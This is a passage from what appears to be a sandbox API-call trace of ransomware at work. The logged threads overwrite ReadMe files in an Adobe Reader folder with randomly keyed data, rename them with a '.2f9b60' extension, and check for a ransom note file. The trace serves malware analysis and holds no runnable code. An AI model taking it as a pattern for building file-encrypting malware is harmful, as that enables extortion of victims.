Size=0x31) returned 0x1cd9f630 [0105.509] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="56") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="1a") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="00") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="0e") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="13") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="0f") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="21") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="68") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="1b") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="79") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="58") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="62") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="c4") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="b6") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="63") returned 2 [0105.509] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="f0") returned 2 [0105.510] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="e8") returned 2 [0105.510] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="b3") returned 2 [0105.510] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="5b") returned 2 [0105.510] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="b5") returned 2 [0105.510] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="aa") returned 2 [0105.510] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="53") returned 2 [0105.510] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="47") returned 2 [0105.510] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="f1") returned 2 [0105.510] RtlInitAnsiString (in: DestinationString=0x28f0f6a8, SourceString="561a000e130f21681b795862c4b663f0e8b35bb5aa5347f1" | out: DestinationString="561a000e130f21681b795862c4b663f0e8b35bb5aa5347f1") [0105.510] RtlAnsiStringToUnicodeString (in: DestinationString=0x28f0f678, SourceString="561a000e130f21681b795862c4b663f0e8b35bb5aa5347f1", AllocateDestinationString=1 | out: DestinationString="561a000e130f21681b795862c4b663f0e8b35bb5aa5347f1") returned 0x0 [0105.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5a90 [0105.510] wcscat (in: _Dest=0x202a4f50, _Source="561a000e130f" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\561a000e130f") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\561a000e130f" [0105.510] wcscat (in: _Dest=0x202a4f50, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\561a000e130f.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\561a000e130f.2f9b60" [0105.510] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\561a000e130f.2f9b60", NtPathName=0x28f0f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\561a000e130f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x204ffcd0 [0106.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffcd0) returned 1 [0106.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdaf0) returned 1 [0106.111] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x28f0f6b8, FileInformation=0x28f0f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28f0f6b8, FileInformation=0x28f0f6c8) returned 0x0 [0106.111] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x28f0f6b8, FileInformation=0x28f0f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4f50) returned 1 [0106.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5a90) returned 1 [0106.933] FlushFileBuffers (hFile=0x160c) returned 1 [0107.436] CloseHandle (hObject=0x160c) returned 1 [0107.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867840 [0107.437] wcscpy (in: _Dest=0x1b867840, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0107.437] wcscat (in: _Dest=0x1b867840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0107.437] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0107.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867840) returned 1 [0107.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8677c0) returned 1 Thread: id = 882 os_tid = 0x1470 [0101.072] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm")) returned 0x20 [0104.870] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm", dwFileAttributes=0x20) returned 1 [0105.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x159c [0105.091] GetFileSizeEx (in: hFile=0x159c, lpFileSize=0x28f8f7e0 | out: lpFileSize=0x28f8f7e0*=16289) returned 1 [0105.091] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x3f9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.091] ReadFile (in: hFile=0x159c, lpBuffer=0x28f8f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28f8f7a8, lpOverlapped=0x0 | out: lpBuffer=0x28f8f760*, lpNumberOfBytesRead=0x28f8f7a8*=0x4, lpOverlapped=0x0) returned 1 [0105.148] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0105.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0105.149] NtQuerySystemTime (in: CurrentTime=0x28f8f6a0 | out: CurrentTime=0x28f8f6a0*=132462177106426000) returned 0x0 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x46e71136 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0xe929b7a [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x204d113e [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x4d4e5e41 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x6f21737f [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x4d793701 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x360ef81b [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x6415786f [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x1f5b3196 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x3490d5a5 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x24a5bcb1 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x1c930541 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x2d859e66 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x3785e46a [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x13809ca7 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x539760c9 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0xdb01e57 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x738bcdaf [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x2c37b22f [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x28233e4c [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x4a019b9d [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x58ba9dc2 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x50519bc1 [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x2b883c1a [0105.149] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x185d3262 [0105.150] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x73daeec7 [0105.150] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x38ec86d8 [0105.150] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x2bcc87a4 [0105.150] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x13670453 [0105.150] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x28ee64f [0105.150] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x3ba0740a [0105.150] RtlRandomEx (in: Seed=0x28f8f690 | out: Seed=0x28f8f690) returned 0x57e004a4 [0105.160] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.160] ReadFile (in: hFile=0x159c, lpBuffer=0x41f44990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28f8f700, lpOverlapped=0x0 | out: lpBuffer=0x41f44990*, lpNumberOfBytesRead=0x28f8f700*=0x3c00, lpOverlapped=0x0) returned 1 [0105.332] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0105.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860630) returned 1 [0105.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eaa520 [0105.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0105.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff10 [0105.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff10) returned 1 [0105.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.333] WriteFile (in: hFile=0x159c, lpBuffer=0x41eaa520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28f8f700, lpOverlapped=0x0 | out: lpBuffer=0x41eaa520*, lpNumberOfBytesWritten=0x28f8f700*=0x3c00, lpOverlapped=0x0) returned 1 [0105.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eaa520) returned 1 [0105.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f44990) returned 1 [0105.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6b90 [0105.373] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0105.373] WriteFile (in: hFile=0x159c, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x28f8f7b0, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x28f8f7b0*=0x10a, lpOverlapped=0x0) returned 1 [0105.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0105.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0105.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a60 [0105.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a60) returned 1 [0105.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a60 [0105.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859af0 [0105.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859af0) returned 1 [0105.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0105.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0105.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0105.500] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="c8") returned 2 [0105.500] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="1d") returned 2 [0105.500] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="c8") returned 2 [0105.500] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="41") returned 2 [0105.500] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="78") returned 2 [0105.500] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="95") returned 2 [0105.500] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="0a") returned 2 [0105.500] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="39") returned 2 [0105.500] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="2a") returned 2 [0105.500] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="5a") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="ea") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="d1") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="b0") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="e8") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="18") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="da") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="b7") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="ba") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="ba") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="0c") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="60") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="e5") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="55") returned 2 [0105.501] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="19") returned 2 [0105.501] RtlInitAnsiString (in: DestinationString=0x28f8f828, SourceString="c81dc84178950a392a5aead1b0e818dab7baba0c60e55519" | out: DestinationString="c81dc84178950a392a5aead1b0e818dab7baba0c60e55519") [0105.501] RtlAnsiStringToUnicodeString (in: DestinationString=0x28f8f7f8, SourceString="c81dc84178950a392a5aead1b0e818dab7baba0c60e55519", AllocateDestinationString=1 | out: DestinationString="c81dc84178950a392a5aead1b0e818dab7baba0c60e55519") returned 0x0 [0105.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5b00 [0105.502] wcscat (in: _Dest=0x202a4ec0, _Source="c81dc8417895" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\c81dc8417895") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\c81dc8417895" [0105.502] wcscat (in: _Dest=0x202a4ec0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\c81dc8417895.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\c81dc8417895.2f9b60" [0105.502] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\c81dc8417895.2f9b60", NtPathName=0x28f8f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\c81dc8417895.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205da50 [0106.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205da50) returned 1 [0106.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061af0) returned 1 [0106.099] NtQueryInformationFile (in: FileHandle=0x159c, IoStatusBlock=0x28f8f838, FileInformation=0x28f8f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28f8f838, FileInformation=0x28f8f848) returned 0x0 [0106.099] NtSetInformationFile (FileHandle=0x159c, IoStatusBlock=0x28f8f838, FileInformation=0x28f8f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ec0) returned 1 [0107.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5b00) returned 1 [0107.326] FlushFileBuffers (hFile=0x159c) returned 1 [0107.431] CloseHandle (hObject=0x159c) returned 1 [0107.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79e3f0 [0107.433] wcscpy (in: _Dest=0x1b79e3f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0107.433] wcscat (in: _Dest=0x1b79e3f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0107.433] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0107.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0107.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867840) returned 1 Thread: id = 883 os_tid = 0x1474 [0101.085] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm")) returned 0x20 [0102.914] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm", dwFileAttributes=0x20) returned 1 [0102.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1640 [0102.975] GetFileSizeEx (in: hFile=0x1640, lpFileSize=0x290ff660 | out: lpFileSize=0x290ff660*=17955) returned 1 [0102.975] SetFilePointerEx (in: hFile=0x1640, liDistanceToMove=0x461f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.975] ReadFile (in: hFile=0x1640, lpBuffer=0x290ff5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x290ff628, lpOverlapped=0x0 | out: lpBuffer=0x290ff5e0*, lpNumberOfBytesRead=0x290ff628*=0x4, lpOverlapped=0x0) returned 1 [0103.023] SetFilePointerEx (in: hFile=0x1640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0103.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263800 [0103.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0103.023] NtQuerySystemTime (in: CurrentTime=0x290ff520 | out: CurrentTime=0x290ff520*=132462177085366000) returned 0x0 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x30e984ca [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x6ab7bd23 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x3a134aa2 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0xd687fb1 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x74d321a6 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x22dbadc7 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x73abd09b [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x46f5793b [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x7841a021 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x10d54366 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x651298c1 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x43c2733 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x7cd29c2c [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x539d1bff [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x65dc001 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0xcae5377 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x57844e72 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0xd687fb1 [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0xd8e76d [0103.023] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x43734d21 [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x6da79ffc [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x1e52f03 [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x7841a021 [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x359cfea9 [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x6d47f8e4 [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x70bfba19 [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x76c4b323 [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x70619a78 [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0xa879a83 [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x55f4a6d7 [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x6c1e719 [0103.024] RtlRandomEx (in: Seed=0x290ff510 | out: Seed=0x290ff510) returned 0x597eb4f8 [0103.033] SetFilePointerEx (in: hFile=0x1640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.033] ReadFile (in: hFile=0x1640, lpBuffer=0x1ce64d60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x290ff580, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d60*, lpNumberOfBytesRead=0x290ff580*=0x3c00, lpOverlapped=0x0) returned 1 [0103.054] SetFilePointerEx (in: hFile=0x1640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0103.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503790 [0103.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617c0 [0103.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617c0) returned 1 [0103.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2047f2a0 [0103.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617c0 [0103.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263530 [0103.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263530) returned 1 [0103.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503790) returned 1 [0103.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0103.055] WriteFile (in: hFile=0x1640, lpBuffer=0x2047f2a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x290ff580, lpOverlapped=0x0 | out: lpBuffer=0x2047f2a0*, lpNumberOfBytesWritten=0x290ff580*=0x3c00, lpOverlapped=0x0) returned 1 [0128.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2047f2a0) returned 1 [0128.315] RtlFreeHeap 